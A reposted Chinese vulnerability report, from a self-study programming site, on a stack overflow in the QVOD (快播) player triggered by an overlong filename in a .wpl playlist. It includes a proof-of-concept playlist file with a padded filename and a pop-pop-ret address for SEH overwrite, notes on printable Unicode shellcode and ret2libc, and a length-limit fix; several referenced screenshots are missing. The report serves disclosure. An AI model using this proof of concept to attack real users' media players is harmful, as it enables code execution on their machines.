好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

快播播放器播放列表文件溢出 - 网站安全 - 自学

处理播放列表文件之后,在某处再次引用文件名没有限制长度而导致溢出

 

版本:

 

 

<?wpl version="1.0"?>

<smil>

    <head>

        <meta name="Generator" content="Nothing is true"/>

        <title>test</title>

    </head>

    <body>

        <seq>

              <media src="AAA......AAAACRAAAAAAAAAA.wma"/>

        </seq>

    </body>

</smil>

 

CR之前一共有1900个'A',CR是MultiByteToWideChar之后pop pop ret的地址,将上述代码保存为xxx.wpl

 

在处理wpl文件之后,在播放列表中显示

 

当鼠标滑过播放列表中的文件名时,将导致溢出

 

 

通过覆盖异常,可以跳转到

 

然后由于复制内容超出堆栈段的最大地址空间而导致异常,跳到

 

 

要想成功利用该 漏洞 ,shellcode必须是可打印字符,然后还经过unicode转换之后还必须能使用,最后该堆栈段,还不能执行,ret2lib把。。。。

 

修复方案:

长度限制

查看更多关于快播播放器播放列表文件溢出 - 网站安全 - 自学的详细内容...

  阅读:44次